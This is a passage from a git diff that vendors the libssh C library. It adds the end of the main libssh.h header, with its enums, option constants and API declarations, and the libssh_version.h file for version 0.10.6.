ssh_requests_e { + SSH_REQUEST_AUTH=1, + SSH_REQUEST_CHANNEL_OPEN, + SSH_REQUEST_CHANNEL, + SSH_REQUEST_SERVICE, + SSH_REQUEST_GLOBAL +}; + +enum ssh_channel_type_e { + SSH_CHANNEL_UNKNOWN=0, + SSH_CHANNEL_SESSION, + SSH_CHANNEL_DIRECT_TCPIP, + SSH_CHANNEL_FORWARDED_TCPIP, + SSH_CHANNEL_X11, + SSH_CHANNEL_AUTH_AGENT +}; + +enum ssh_channel_requests_e { + SSH_CHANNEL_REQUEST_UNKNOWN=0, + SSH_CHANNEL_REQUEST_PTY, + SSH_CHANNEL_REQUEST_EXEC, + SSH_CHANNEL_REQUEST_SHELL, + SSH_CHANNEL_REQUEST_ENV, + SSH_CHANNEL_REQUEST_SUBSYSTEM, + SSH_CHANNEL_REQUEST_WINDOW_CHANGE, + SSH_CHANNEL_REQUEST_X11 +}; + +enum ssh_global_requests_e { + SSH_GLOBAL_REQUEST_UNKNOWN=0, + SSH_GLOBAL_REQUEST_TCPIP_FORWARD, + SSH_GLOBAL_REQUEST_CANCEL_TCPIP_FORWARD, + SSH_GLOBAL_REQUEST_KEEPALIVE +}; + +enum ssh_publickey_state_e { + SSH_PUBLICKEY_STATE_ERROR=-1, + SSH_PUBLICKEY_STATE_NONE=0, + SSH_PUBLICKEY_STATE_VALID=1, + SSH_PUBLICKEY_STATE_WRONG=2 +}; + +/* Status flags */ +/** Socket is closed */ +#define SSH_CLOSED 0x01 +/** Reading to socket won't block */ +#define SSH_READ_PENDING 0x02 +/** Session was closed due to an error */ +#define SSH_CLOSED_ERROR 0x04 +/** Output buffer not empty */ +#define SSH_WRITE_PENDING 0x08 + +enum ssh_server_known_e { + SSH_SERVER_ERROR=-1, + SSH_SERVER_NOT_KNOWN=0, + SSH_SERVER_KNOWN_OK, + SSH_SERVER_KNOWN_CHANGED, + SSH_SERVER_FOUND_OTHER, + SSH_SERVER_FILE_NOT_FOUND +}; + +enum ssh_known_hosts_e { + /** + * There had been an error checking the host. + */ + SSH_KNOWN_HOSTS_ERROR = -2, + + /** + * The known host file does not exist. The host is thus unknown. File will + * be created if host key is accepted. + */ + SSH_KNOWN_HOSTS_NOT_FOUND = -1, + + /** + * The server is unknown. User should confirm the public key hash is + * correct. + */ + SSH_KNOWN_HOSTS_UNKNOWN = 0, + + /** + * The server is known and has not changed. + */ + SSH_KNOWN_HOSTS_OK, + + /** + * The server key has changed. Either you are under attack or the + * administrator changed the key. You HAVE to warn the user about a + * possible attack. + */ + SSH_KNOWN_HOSTS_CHANGED, + + /** + * The server gave use a key of a type while we had an other type recorded. + * It is a possible attack. + */ + SSH_KNOWN_HOSTS_OTHER, +}; + +#ifndef MD5_DIGEST_LEN + #define MD5_DIGEST_LEN 16 +#endif +/* errors */ + +enum ssh_error_types_e { + SSH_NO_ERROR=0, + SSH_REQUEST_DENIED, + SSH_FATAL, + SSH_EINTR +}; + +/* some types for keys */ +enum ssh_keytypes_e{ + SSH_KEYTYPE_UNKNOWN=0, + SSH_KEYTYPE_DSS=1, + SSH_KEYTYPE_RSA, + SSH_KEYTYPE_RSA1, + SSH_KEYTYPE_ECDSA, /* deprecated */ + SSH_KEYTYPE_ED25519, + SSH_KEYTYPE_DSS_CERT01, + SSH_KEYTYPE_RSA_CERT01, + SSH_KEYTYPE_ECDSA_P256, + SSH_KEYTYPE_ECDSA_P384, + SSH_KEYTYPE_ECDSA_P521, + SSH_KEYTYPE_ECDSA_P256_CERT01, + SSH_KEYTYPE_ECDSA_P384_CERT01, + SSH_KEYTYPE_ECDSA_P521_CERT01, + SSH_KEYTYPE_ED25519_CERT01, + SSH_KEYTYPE_SK_ECDSA, + SSH_KEYTYPE_SK_ECDSA_CERT01, + SSH_KEYTYPE_SK_ED25519, + SSH_KEYTYPE_SK_ED25519_CERT01, +}; + +enum ssh_keycmp_e { + SSH_KEY_CMP_PUBLIC = 0, + SSH_KEY_CMP_PRIVATE +}; + +#define SSH_ADDRSTRLEN 46 + +struct ssh_knownhosts_entry { + char *hostname; + char *unparsed; + ssh_key publickey; + char *comment; +}; + + +/* Error return codes */ +#define SSH_OK 0 /* No error */ +#define SSH_ERROR -1 /* Error of some kind */ +#define SSH_AGAIN -2 /* The nonblocking call must be repeated */ +#define SSH_EOF -127 /* We have already a eof */ + +/** + * @addtogroup libssh_log + * + * @{ + */ + +enum { + /** No logging at all + */ + SSH_LOG_NOLOG=0, + /** Only warnings + */ + SSH_LOG_WARNING, + /** High level protocol information + */ + SSH_LOG_PROTOCOL, + /** Lower level protocol infomations, packet level + */ + SSH_LOG_PACKET, + /** Every function path + */ + SSH_LOG_FUNCTIONS +}; +/** @} */ +#define SSH_LOG_RARE SSH_LOG_WARNING + +/** + * @name Logging levels + * + * @brief Debug levels for logging. + * @{ + */ + +/** No logging at all */ +#define SSH_LOG_NONE 0 +/** Show only warnings */ +#define SSH_LOG_WARN 1 +/** Get some information what's going on */ +#define SSH_LOG_INFO 2 +/** Get detailed debugging information **/ +#define SSH_LOG_DEBUG 3 +/** Get trace output, packet information, ... */ +#define SSH_LOG_TRACE 4 + +/** @} */ + +enum ssh_options_e { + SSH_OPTIONS_HOST, + SSH_OPTIONS_PORT, + SSH_OPTIONS_PORT_STR, + SSH_OPTIONS_FD, + SSH_OPTIONS_USER, + SSH_OPTIONS_SSH_DIR, + SSH_OPTIONS_IDENTITY, + SSH_OPTIONS_ADD_IDENTITY, + SSH_OPTIONS_KNOWNHOSTS, + SSH_OPTIONS_TIMEOUT, + SSH_OPTIONS_TIMEOUT_USEC, + SSH_OPTIONS_SSH1, + SSH_OPTIONS_SSH2, + SSH_OPTIONS_LOG_VERBOSITY, + SSH_OPTIONS_LOG_VERBOSITY_STR, + SSH_OPTIONS_CIPHERS_C_S, + SSH_OPTIONS_CIPHERS_S_C, + SSH_OPTIONS_COMPRESSION_C_S, + SSH_OPTIONS_COMPRESSION_S_C, + SSH_OPTIONS_PROXYCOMMAND, + SSH_OPTIONS_BINDADDR, + SSH_OPTIONS_STRICTHOSTKEYCHECK, + SSH_OPTIONS_COMPRESSION, + SSH_OPTIONS_COMPRESSION_LEVEL, + SSH_OPTIONS_KEY_EXCHANGE, + SSH_OPTIONS_HOSTKEYS, + SSH_OPTIONS_GSSAPI_SERVER_IDENTITY, + SSH_OPTIONS_GSSAPI_CLIENT_IDENTITY, + SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, + SSH_OPTIONS_HMAC_C_S, + SSH_OPTIONS_HMAC_S_C, + SSH_OPTIONS_PASSWORD_AUTH, + SSH_OPTIONS_PUBKEY_AUTH, + SSH_OPTIONS_KBDINT_AUTH, + SSH_OPTIONS_GSSAPI_AUTH, + SSH_OPTIONS_GLOBAL_KNOWNHOSTS, + SSH_OPTIONS_NODELAY, + SSH_OPTIONS_PUBLICKEY_ACCEPTED_TYPES, + SSH_OPTIONS_PROCESS_CONFIG, + SSH_OPTIONS_REKEY_DATA, + SSH_OPTIONS_REKEY_TIME, + SSH_OPTIONS_RSA_MIN_SIZE, + SSH_OPTIONS_IDENTITY_AGENT, +}; + +enum { + /** Code is going to write/create remote files */ + SSH_SCP_WRITE, + /** Code is going to read remote files */ + SSH_SCP_READ, + SSH_SCP_RECURSIVE=0x10 +}; + +enum ssh_scp_request_types { + /** A new directory is going to be pulled */ + SSH_SCP_REQUEST_NEWDIR=1, + /** A new file is going to be pulled */ + SSH_SCP_REQUEST_NEWFILE, + /** End of requests */ + SSH_SCP_REQUEST_EOF, + /** End of directory */ + SSH_SCP_REQUEST_ENDDIR, + /** Warning received */ + SSH_SCP_REQUEST_WARNING +}; + +enum ssh_connector_flags_e { + /** Only the standard stream of the channel */ + SSH_CONNECTOR_STDOUT = 1, + SSH_CONNECTOR_STDINOUT = 1, + /** Only the exception stream of the channel */ + SSH_CONNECTOR_STDERR = 2, + /** Merge both standard and exception streams */ + SSH_CONNECTOR_BOTH = 3 +}; + +LIBSSH_API int ssh_blocking_flush(ssh_session session, int timeout); +LIBSSH_API ssh_channel ssh_channel_accept_x11(ssh_channel channel, int timeout_ms); +LIBSSH_API int ssh_channel_change_pty_size(ssh_channel channel,int cols,int rows); +LIBSSH_API int ssh_channel_close(ssh_channel channel); +LIBSSH_API void ssh_channel_free(ssh_channel channel); +LIBSSH_API int ssh_channel_get_exit_status(ssh_channel channel); +LIBSSH_API ssh_session ssh_channel_get_session(ssh_channel channel); +LIBSSH_API int ssh_channel_is_closed(ssh_channel channel); +LIBSSH_API int ssh_channel_is_eof(ssh_channel channel); +LIBSSH_API int ssh_channel_is_open(ssh_channel channel); +LIBSSH_API ssh_channel ssh_channel_new(ssh_session session); +LIBSSH_API int ssh_channel_open_auth_agent(ssh_channel channel); +LIBSSH_API int ssh_channel_open_forward(ssh_channel channel, const char *remotehost, + int remoteport, const char *sourcehost, int localport); +LIBSSH_API int ssh_channel_open_forward_unix(ssh_channel channel, const char *remotepath, + const char *sourcehost, int localport); +LIBSSH_API int ssh_channel_open_session(ssh_channel channel); +LIBSSH_API int ssh_channel_open_x11(ssh_channel channel, const char *orig_addr, int orig_port); +LIBSSH_API int ssh_channel_poll(ssh_channel channel, int is_stderr); +LIBSSH_API int ssh_channel_poll_timeout(ssh_channel channel, int timeout, int is_stderr); +LIBSSH_API int ssh_channel_read(ssh_channel channel, void *dest, uint32_t count, int is_stderr); +LIBSSH_API int ssh_channel_read_timeout(ssh_channel channel, void *dest, uint32_t count, int is_stderr, int timeout_ms); +LIBSSH_API int ssh_channel_read_nonblocking(ssh_channel channel, void *dest, uint32_t count, + int is_stderr); +LIBSSH_API int ssh_channel_request_env(ssh_channel channel, const char *name, const char *value); +LIBSSH_API int ssh_channel_request_exec(ssh_channel channel, const char *cmd); +LIBSSH_API int ssh_channel_request_pty(ssh_channel channel); +LIBSSH_API int ssh_channel_request_pty_size(ssh_channel channel, const char *term, + int cols, int rows); +LIBSSH_API int ssh_channel_request_shell(ssh_channel channel); +LIBSSH_API int ssh_channel_request_send_signal(ssh_channel channel, const char *signum); +LIBSSH_API int ssh_channel_request_send_break(ssh_channel channel, uint32_t length); +LIBSSH_API int ssh_channel_request_sftp(ssh_channel channel); +LIBSSH_API int ssh_channel_request_subsystem(ssh_channel channel, const char *subsystem); +LIBSSH_API int ssh_channel_request_x11(ssh_channel channel, int single_connection, const char *protocol, + const char *cookie, int screen_number); +LIBSSH_API int ssh_channel_request_auth_agent(ssh_channel channel); +LIBSSH_API int ssh_channel_send_eof(ssh_channel channel); +LIBSSH_API void ssh_channel_set_blocking(ssh_channel channel, int blocking); +LIBSSH_API void ssh_channel_set_counter(ssh_channel channel, + ssh_counter counter); +LIBSSH_API int ssh_channel_write(ssh_channel channel, const void *data, uint32_t len); +LIBSSH_API int ssh_channel_write_stderr(ssh_channel channel, + const void *data, + uint32_t len); +LIBSSH_API uint32_t ssh_channel_window_size(ssh_channel channel); + +LIBSSH_API char *ssh_basename (const char *path); +LIBSSH_API void ssh_clean_pubkey_hash(unsigned char **hash); +LIBSSH_API int ssh_connect(ssh_session session); + +LIBSSH_API ssh_connector ssh_connector_new(ssh_session session); +LIBSSH_API void ssh_connector_free(ssh_connector connector); +LIBSSH_API int ssh_connector_set_in_channel(ssh_connector connector, + ssh_channel channel, + enum ssh_connector_flags_e flags); +LIBSSH_API int ssh_connector_set_out_channel(ssh_connector connector, + ssh_channel channel, + enum ssh_connector_flags_e flags); +LIBSSH_API void ssh_connector_set_in_fd(ssh_connector connector, socket_t fd); +LIBSSH_API void ssh_connector_set_out_fd(ssh_connector connector, socket_t fd); + +LIBSSH_API const char *ssh_copyright(void); +LIBSSH_API void ssh_disconnect(ssh_session session); +LIBSSH_API char *ssh_dirname (const char *path); +LIBSSH_API int ssh_finalize(void); + +/* REVERSE PORT FORWARDING */ +LIBSSH_API ssh_channel ssh_channel_open_forward_port(ssh_session session, + int timeout_ms, + int *destination_port, + char **originator, + int *originator_port); +SSH_DEPRECATED LIBSSH_API ssh_channel ssh_channel_accept_forward(ssh_session session, + int timeout_ms, + int *destination_port); +LIBSSH_API int ssh_channel_cancel_forward(ssh_session session, + const char *address, + int port); +LIBSSH_API int ssh_channel_listen_forward(ssh_session session, + const char *address, + int port, + int *bound_port); + +LIBSSH_API void ssh_free(ssh_session session); +LIBSSH_API const char *ssh_get_disconnect_message(ssh_session session); +LIBSSH_API const char *ssh_get_error(void *error); +LIBSSH_API int ssh_get_error_code(void *error); +LIBSSH_API socket_t ssh_get_fd(ssh_session session); +LIBSSH_API char *ssh_get_hexa(const unsigned char *what, size_t len); +LIBSSH_API char *ssh_get_issue_banner(ssh_session session); +LIBSSH_API int ssh_get_openssh_version(ssh_session session); + +LIBSSH_API int ssh_get_server_publickey(ssh_session session, ssh_key *key); + +enum ssh_publickey_hash_type { + SSH_PUBLICKEY_HASH_SHA1, + SSH_PUBLICKEY_HASH_MD5, + SSH_PUBLICKEY_HASH_SHA256 +}; +LIBSSH_API int ssh_get_publickey_hash(const ssh_key key, + enum ssh_publickey_hash_type type, + unsigned char **hash, + size_t *hlen); + +/* DEPRECATED FUNCTIONS */ +SSH_DEPRECATED LIBSSH_API int ssh_get_pubkey_hash(ssh_session session, unsigned char **hash); +SSH_DEPRECATED LIBSSH_API ssh_channel ssh_forward_accept(ssh_session session, int timeout_ms); +SSH_DEPRECATED LIBSSH_API int ssh_forward_cancel(ssh_session session, const char *address, int port); +SSH_DEPRECATED LIBSSH_API int ssh_forward_listen(ssh_session session, const char *address, int port, int *bound_port); +SSH_DEPRECATED LIBSSH_API int ssh_get_publickey(ssh_session session, ssh_key *key); +SSH_DEPRECATED LIBSSH_API int ssh_write_knownhost(ssh_session session); +SSH_DEPRECATED LIBSSH_API char *ssh_dump_knownhost(ssh_session session); +SSH_DEPRECATED LIBSSH_API int ssh_is_server_known(ssh_session session); +SSH_DEPRECATED LIBSSH_API void ssh_print_hexa(const char *descr, const unsigned char *what, size_t len); +SSH_DEPRECATED LIBSSH_API int ssh_channel_select(ssh_channel *readchans, ssh_channel *writechans, ssh_channel *exceptchans, struct + timeval * timeout); + +SSH_DEPRECATED LIBSSH_API int ssh_scp_accept_request(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_close(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_deny_request(ssh_scp scp, const char *reason); +SSH_DEPRECATED LIBSSH_API void ssh_scp_free(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_init(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_leave_directory(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API ssh_scp ssh_scp_new(ssh_session session, int mode, const char *location); +SSH_DEPRECATED LIBSSH_API int ssh_scp_pull_request(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_push_directory(ssh_scp scp, const char *dirname, int mode); +SSH_DEPRECATED LIBSSH_API int ssh_scp_push_file(ssh_scp scp, const char *filename, size_t size, int perms); +SSH_DEPRECATED LIBSSH_API int ssh_scp_push_file64(ssh_scp scp, const char *filename, uint64_t size, int perms); +SSH_DEPRECATED LIBSSH_API int ssh_scp_read(ssh_scp scp, void *buffer, size_t size); +SSH_DEPRECATED LIBSSH_API const char *ssh_scp_request_get_filename(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_request_get_permissions(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API size_t ssh_scp_request_get_size(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API uint64_t ssh_scp_request_get_size64(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API const char *ssh_scp_request_get_warning(ssh_scp scp); +SSH_DEPRECATED LIBSSH_API int ssh_scp_write(ssh_scp scp, const void *buffer, size_t len); + + +LIBSSH_API int ssh_get_random(void *where,int len,int strong); +LIBSSH_API int ssh_get_version(ssh_session session); +LIBSSH_API int ssh_get_status(ssh_session session); +LIBSSH_API int ssh_get_poll_flags(ssh_session session); +LIBSSH_API int ssh_init(void); +LIBSSH_API int ssh_is_blocking(ssh_session session); +LIBSSH_API int ssh_is_connected(ssh_session session); + +/* KNOWN HOSTS */ +LIBSSH_API void ssh_knownhosts_entry_free(struct ssh_knownhosts_entry *entry); +#define SSH_KNOWNHOSTS_ENTRY_FREE(e) do { \ + if ((e) != NULL) { \ + ssh_knownhosts_entry_free(e); \ + e = NULL; \ + } \ +} while(0) + +LIBSSH_API int ssh_known_hosts_parse_line(const char *host, + const char *line, + struct ssh_knownhosts_entry **entry); +LIBSSH_API enum ssh_known_hosts_e ssh_session_has_known_hosts_entry(ssh_session session); + +LIBSSH_API int ssh_session_export_known_hosts_entry(ssh_session session, + char **pentry_string); +LIBSSH_API int ssh_session_update_known_hosts(ssh_session session); + +LIBSSH_API enum ssh_known_hosts_e ssh_session_get_known_hosts_entry(ssh_session session, + struct ssh_knownhosts_entry **pentry); +LIBSSH_API enum ssh_known_hosts_e ssh_session_is_known_server(ssh_session session); + +/* LOGGING */ +LIBSSH_API int ssh_set_log_level(int level); +LIBSSH_API int ssh_get_log_level(void); +LIBSSH_API void *ssh_get_log_userdata(void); +LIBSSH_API int ssh_set_log_userdata(void *data); +LIBSSH_API void ssh_vlog(int verbosity, + const char *function, + const char *format, + va_list *va) PRINTF_ATTRIBUTE(3, 0); +LIBSSH_API void _ssh_log(int verbosity, + const char *function, + const char *format, ...) PRINTF_ATTRIBUTE(3, 4); + +/* legacy */ +SSH_DEPRECATED LIBSSH_API void ssh_log(ssh_session session, + int prioriry, + const char *format, ...) PRINTF_ATTRIBUTE(3, 4); + +LIBSSH_API ssh_channel ssh_message_channel_request_open_reply_accept(ssh_message msg); +LIBSSH_API int ssh_message_channel_request_open_reply_accept_channel(ssh_message msg, ssh_channel chan); +LIBSSH_API int ssh_message_channel_request_reply_success(ssh_message msg); +#define SSH_MESSAGE_FREE(x) \ + do { if ((x) != NULL) { ssh_message_free(x); (x) = NULL; } } while(0) +LIBSSH_API void ssh_message_free(ssh_message msg); +LIBSSH_API ssh_message ssh_message_get(ssh_session session); +LIBSSH_API int ssh_message_subtype(ssh_message msg); +LIBSSH_API int ssh_message_type(ssh_message msg); +LIBSSH_API int ssh_mkdir (const char *pathname, mode_t mode); +LIBSSH_API ssh_session ssh_new(void); + +LIBSSH_API int ssh_options_copy(ssh_session src, ssh_session *dest); +LIBSSH_API int ssh_options_getopt(ssh_session session, int *argcptr, char **argv); +LIBSSH_API int ssh_options_parse_config(ssh_session session, const char *filename); +LIBSSH_API int ssh_options_set(ssh_session session, enum ssh_options_e type, + const void *value); +LIBSSH_API int ssh_options_get(ssh_session session, enum ssh_options_e type, + char **value); +LIBSSH_API int ssh_options_get_port(ssh_session session, unsigned int * port_target); +LIBSSH_API int ssh_pcap_file_close(ssh_pcap_file pcap); +LIBSSH_API void ssh_pcap_file_free(ssh_pcap_file pcap); +LIBSSH_API ssh_pcap_file ssh_pcap_file_new(void); +LIBSSH_API int ssh_pcap_file_open(ssh_pcap_file pcap, const char *filename); + +/** + * @addtogroup libssh_auth + * + * @{ + */ + +/** + * @brief SSH authentication callback for password and publickey auth. + * + * @param prompt Prompt to be displayed. + * @param buf Buffer to save the password. You should null-terminate it. + * @param len Length of the buffer. + * @param echo Enable or disable the echo of what you type. + * @param verify Should the password be verified? + * @param userdata Userdata to be passed to the callback function. Useful + * for GUI applications. + * + * @return 0 on success, < 0 on error. + */ +typedef int (*ssh_auth_callback) (const char *prompt, char *buf, size_t len, + int echo, int verify, void *userdata); + +/** @} */ + +LIBSSH_API ssh_key ssh_key_new(void); +#define SSH_KEY_FREE(x) \ + do { if ((x) != NULL) { ssh_key_free(x); x = NULL; } } while(0) +LIBSSH_API void ssh_key_free (ssh_key key); +LIBSSH_API enum ssh_keytypes_e ssh_key_type(const ssh_key key); +LIBSSH_API const char *ssh_key_type_to_char(enum ssh_keytypes_e type); +LIBSSH_API enum ssh_keytypes_e ssh_key_type_from_name(const char *name); +LIBSSH_API int ssh_key_is_public(const ssh_key k); +LIBSSH_API int ssh_key_is_private(const ssh_key k); +LIBSSH_API int ssh_key_cmp(const ssh_key k1, + const ssh_key k2, + enum ssh_keycmp_e what); +LIBSSH_API ssh_key ssh_key_dup(const ssh_key key); + +LIBSSH_API int ssh_pki_generate(enum ssh_keytypes_e type, int parameter, + ssh_key *pkey); +LIBSSH_API int ssh_pki_import_privkey_base64(const char *b64_key, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data, + ssh_key *pkey); +LIBSSH_API int ssh_pki_export_privkey_base64(const ssh_key privkey, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data, + char **b64_key); +LIBSSH_API int ssh_pki_import_privkey_file(const char *filename, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data, + ssh_key *pkey); +LIBSSH_API int ssh_pki_export_privkey_file(const ssh_key privkey, + const char *passphrase, + ssh_auth_callback auth_fn, + void *auth_data, + const char *filename); + +LIBSSH_API int ssh_pki_copy_cert_to_privkey(const ssh_key cert_key, + ssh_key privkey); + +LIBSSH_API int ssh_pki_import_pubkey_base64(const char *b64_key, + enum ssh_keytypes_e type, + ssh_key *pkey); +LIBSSH_API int ssh_pki_import_pubkey_file(const char *filename, + ssh_key *pkey); + +LIBSSH_API int ssh_pki_import_cert_base64(const char *b64_cert, + enum ssh_keytypes_e type, + ssh_key *pkey); +LIBSSH_API int ssh_pki_import_cert_file(const char *filename, + ssh_key *pkey); + +LIBSSH_API int ssh_pki_export_privkey_to_pubkey(const ssh_key privkey, + ssh_key *pkey); +LIBSSH_API int ssh_pki_export_pubkey_base64(const ssh_key key, + char **b64_key); +LIBSSH_API int ssh_pki_export_pubkey_file(const ssh_key key, + const char *filename); + +LIBSSH_API const char *ssh_pki_key_ecdsa_name(const ssh_key key); + +LIBSSH_API char *ssh_get_fingerprint_hash(enum ssh_publickey_hash_type type, + unsigned char *hash, + size_t len); +LIBSSH_API void ssh_print_hash(enum ssh_publickey_hash_type type, unsigned char *hash, size_t len); +LIBSSH_API int ssh_send_ignore (ssh_session session, const char *data); +LIBSSH_API int ssh_send_debug (ssh_session session, const char *message, int always_display); +LIBSSH_API void ssh_gssapi_set_creds(ssh_session session, const ssh_gssapi_creds creds); +LIBSSH_API int ssh_select(ssh_channel *channels, ssh_channel *outchannels, socket_t maxfd, + fd_set *readfds, struct timeval *timeout); +LIBSSH_API int ssh_service_request(ssh_session session, const char *service); +LIBSSH_API int ssh_set_agent_channel(ssh_session session, ssh_channel channel); +LIBSSH_API int ssh_set_agent_socket(ssh_session session, socket_t fd); +LIBSSH_API void ssh_set_blocking(ssh_session session, int blocking); +LIBSSH_API void ssh_set_counters(ssh_session session, ssh_counter scounter, + ssh_counter rcounter); +LIBSSH_API void ssh_set_fd_except(ssh_session session); +LIBSSH_API void ssh_set_fd_toread(ssh_session session); +LIBSSH_API void ssh_set_fd_towrite(ssh_session session); +LIBSSH_API void ssh_silent_disconnect(ssh_session session); +LIBSSH_API int ssh_set_pcap_file(ssh_session session, ssh_pcap_file pcapfile); + +/* USERAUTH */ +LIBSSH_API int ssh_userauth_none(ssh_session session, const char *username); +LIBSSH_API int ssh_userauth_list(ssh_session session, const char *username); +LIBSSH_API int ssh_userauth_try_publickey(ssh_session session, + const char *username, + const ssh_key pubkey); +LIBSSH_API int ssh_userauth_publickey(ssh_session session, + const char *username, + const ssh_key privkey); +#ifndef _WIN32 +LIBSSH_API int ssh_userauth_agent(ssh_session session, + const char *username); +#endif +LIBSSH_API int ssh_userauth_publickey_auto_get_current_identity(ssh_session session, + char** value); +LIBSSH_API int ssh_userauth_publickey_auto(ssh_session session, + const char *username, + const char *passphrase); +LIBSSH_API int ssh_userauth_password(ssh_session session, + const char *username, + const char *password); + +LIBSSH_API int ssh_userauth_kbdint(ssh_session session, const char *user, const char *submethods); +LIBSSH_API const char *ssh_userauth_kbdint_getinstruction(ssh_session session); +LIBSSH_API const char *ssh_userauth_kbdint_getname(ssh_session session); +LIBSSH_API int ssh_userauth_kbdint_getnprompts(ssh_session session); +LIBSSH_API const char *ssh_userauth_kbdint_getprompt(ssh_session session, unsigned int i, char *echo); +LIBSSH_API int ssh_userauth_kbdint_getnanswers(ssh_session session); +LIBSSH_API const char *ssh_userauth_kbdint_getanswer(ssh_session session, unsigned int i); +LIBSSH_API int ssh_userauth_kbdint_setanswer(ssh_session session, unsigned int i, + const char *answer); +LIBSSH_API int ssh_userauth_gssapi(ssh_session session); +LIBSSH_API const char *ssh_version(int req_version); + +LIBSSH_API void ssh_string_burn(ssh_string str); +LIBSSH_API ssh_string ssh_string_copy(ssh_string str); +LIBSSH_API void *ssh_string_data(ssh_string str); +LIBSSH_API int ssh_string_fill(ssh_string str, const void *data, size_t len); +#define SSH_STRING_FREE(x) \ + do { if ((x) != NULL) { ssh_string_free(x); x = NULL; } } while(0) +LIBSSH_API void ssh_string_free(ssh_string str); +LIBSSH_API ssh_string ssh_string_from_char(const char *what); +LIBSSH_API size_t ssh_string_len(ssh_string str); +LIBSSH_API ssh_string ssh_string_new(size_t size); +LIBSSH_API const char *ssh_string_get_char(ssh_string str); +LIBSSH_API char *ssh_string_to_char(ssh_string str); +#define SSH_STRING_FREE_CHAR(x) \ + do { if ((x) != NULL) { ssh_string_free_char(x); x = NULL; } } while(0) +LIBSSH_API void ssh_string_free_char(char *s); + +LIBSSH_API int ssh_getpass(const char *prompt, char *buf, size_t len, int echo, + int verify); + + +typedef int (*ssh_event_callback)(socket_t fd, int revents, void *userdata); + +LIBSSH_API ssh_event ssh_event_new(void); +LIBSSH_API int ssh_event_add_fd(ssh_event event, socket_t fd, short events, + ssh_event_callback cb, void *userdata); +LIBSSH_API int ssh_event_add_session(ssh_event event, ssh_session session); +LIBSSH_API int ssh_event_add_connector(ssh_event event, ssh_connector connector); +LIBSSH_API int ssh_event_dopoll(ssh_event event, int timeout); +LIBSSH_API int ssh_event_remove_fd(ssh_event event, socket_t fd); +LIBSSH_API int ssh_event_remove_session(ssh_event event, ssh_session session); +LIBSSH_API int ssh_event_remove_connector(ssh_event event, ssh_connector connector); +LIBSSH_API void ssh_event_free(ssh_event event); +LIBSSH_API const char* ssh_get_clientbanner(ssh_session session); +LIBSSH_API const char* ssh_get_serverbanner(ssh_session session); +LIBSSH_API const char* ssh_get_kex_algo(ssh_session session); +LIBSSH_API const char* ssh_get_cipher_in(ssh_session session); +LIBSSH_API const char* ssh_get_cipher_out(ssh_session session); +LIBSSH_API const char* ssh_get_hmac_in(ssh_session session); +LIBSSH_API const char* ssh_get_hmac_out(ssh_session session); + +LIBSSH_API ssh_buffer ssh_buffer_new(void); +LIBSSH_API void ssh_buffer_free(ssh_buffer buffer); +#define SSH_BUFFER_FREE(x) \ + do { if ((x) != NULL) { ssh_buffer_free(x); x = NULL; } } while(0) +LIBSSH_API int ssh_buffer_reinit(ssh_buffer buffer); +LIBSSH_API int ssh_buffer_add_data(ssh_buffer buffer, const void *data, uint32_t len); +LIBSSH_API uint32_t ssh_buffer_get_data(ssh_buffer buffer, void *data, uint32_t requestedlen); +LIBSSH_API void *ssh_buffer_get(ssh_buffer buffer); +LIBSSH_API uint32_t ssh_buffer_get_len(ssh_buffer buffer); +LIBSSH_API int ssh_session_set_disconnect_message(ssh_session session, const char *message); + +#ifndef LIBSSH_LEGACY_0_4 +#include "libssh/legacy.h" +#endif + +#ifdef __cplusplus +} +#endif +#endif /* _LIBSSH_H */ diff --git a/vendor/libssh/include/libssh/libssh_version.h b/vendor/libssh/include/libssh/libssh_version.h new file mode 100644 index 0000000..50970aa --- /dev/null +++ b/vendor/libssh/include/libssh/libssh_version.h @@ -0,0 +1,41 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2020 by Heiko Thiery + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef _LIBSSH_VERSION_H +#define _LIBSSH_VERSION_H + +/* libssh version macros */ +#define SSH_VERSION_INT(a, b, c) ((a) << 16 | (b) << 8 | (c)) +#define SSH_VERSION_DOT(a, b, c) a ##.## b ##.## c +#define SSH_VERSION(a, b, c) SSH_VERSION_DOT(a, b, c) + +/* libssh version */ +#define LIBSSH_VERSION_MAJOR 0 +#define LIBSSH_VERSION_MINOR 10 +#define LIBSSH_VERSION_MICRO 6 + +#define LIBSSH_VERSION_INT SSH_VERSION_INT(LIBSSH_VERSION_MAJOR, \ + LIBSSH_VERSION_MINOR, \ + LIBSSH_VERSION_MICRO) +#define LIBSSH_VERSION SSH_VERSION(LIBSSH_VERSION_MAJOR, \ + LIBSSH_VERSION_MINOR, \ + LIBSSH_VERSION_MICRO) + +#endif /* _LIBSSH_VERSION_H */ diff --git a/vendor/libssh/include/libssh/libssh_version.h.cmake b/vendor/libssh/include/libssh/libssh_version.h.cmake new file mode 100644 index 0000000..464fa14 --- /dev/null +++ b/vendor/libssh/include/libssh/libssh_version.h.cmake @@ -0,0 +1,41 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2020 by Heiko Thiery + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; 